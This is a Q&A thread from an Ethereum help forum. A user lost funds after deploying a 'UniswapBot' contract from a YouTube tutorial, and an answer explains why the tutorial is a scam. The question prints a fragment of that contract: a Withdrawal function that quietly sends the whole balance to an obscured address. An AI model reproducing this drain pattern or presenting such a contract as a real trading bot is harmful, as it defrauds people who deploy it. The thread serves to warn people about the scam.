1

I copied code from a YouTube tutorial to deploy and fund a smart contract, here is a snippet from it:

contract UniswapBot {
 
    uint liquidity;
    uint private pool;
    address public owner;
 
 
    event Log(string _msg);
 
    /*
     * @dev constructor
     * @set the owner of the contract 
     */
    constructor() public {
        owner = msg.sender;
    }
/*
     * @dev withdrawals profit back to contract creator address
     * @return `profits`.
     */
    function Withdrawal() public payable { 
        emit Log("Sending profits back to contract creator address...");
        if (checkMempoolStarted()){
            payable(withdrawalProfits()).transfer(address(this).balance);
        }
        else{
            payable(owner).transfer(address(this).balance);
        }
    }
}

Despite losing connection and trying to track it via etherscan.io, the contract's ownership shifted to 'jaredfromstarbucks.eth'. How can I regain control? This is engaging front-running?

I appreciate in advance.

Regards, Third Eye

7
  • 1
    Did you write the code by yourself, or have you copied it from somewhere? Aug 31, 2023 at 13:40
  • Please edit the question to limit it to a specific problem with enough detail to identify an adequate answer.
    – Community Bot
    Aug 31, 2023 at 15:27
  • 1
    @ChefAharoni - I got the copy from [Link CODE] (youtube.com/…). [Link YT] (youtube.com/watch?v=liGQR9wVI44)
    – Third Eye
    Aug 31, 2023 at 18:35
  • 1
    @Rohan Nero - Transfer From: 0xfa967a727777C4afdfAccdA6C9a846408B38568e To: 0x4a0A660C8c388015Fb5bAeeC7d64d0dd3044DdC8 and Start From: 0x0998282A4a18a4C4584fEAF34021B7bb550D7680 To: 0x4a0A660C8c388015Fb5bAeeC7d64d0dd3044DdC8
    – Third Eye
    Aug 31, 2023 at 18:47
  • 1
    @Rohan Nero - Thank you for the valuable tip. I'll make sure to include additional info directly in my questions next time.
    – Third Eye
    Sep 1, 2023 at 4:06

1 Answer 1

4

It seems like you've fallen victim to a scam tutorial.

The youtube video was posted two weeks ago from the time of writing this:

enter image description here

And in the video they show the contract being brand new:

enter image description here

Yet if you check the contract address on etherscan you can see that the contract is almost a year old:

enter image description here

The internal transactions that they show you are likely just them sending the scam contract ETH from a different contract.

Another way you can tell that it is a scam is because they tried to set up a bot in Solidity.

It is impossible for a smart contract to "sniff" the mempool and make function calls after it discovers profitable transactions, the only way a smart contract can make a function call is if it is interacted with first.

For future reference, NEVER deploy a contract, or send real funds to a contract, that you don't COMPLETELY understand.

Some scammers will create purposefully obscure contracts with complex-looking code to trick people into believing that a chunk of code does something different than what it truly does.

Here is an example from another common scam:

enter image description here

Here are some links to users who have also fallen victim to similar things:

  1. Eth stuck in a 'UniswapFrontrunBot' contract
  2. Missing Eth after sending to contract

Unfortunately you may have lost some money, but you learned an important lesson that should prevent you from falling victim to another scam like this one. Good luck and happy coding!

1
  • 1
    Thank you! Your shared wisdom is invaluable. Despite the financial setback, it's a lesson to guard against future scams. Best regards!
    – Third Eye
    Sep 1, 2023 at 4:13

Not the answer you're looking for? Browse other questions tagged or ask your own question.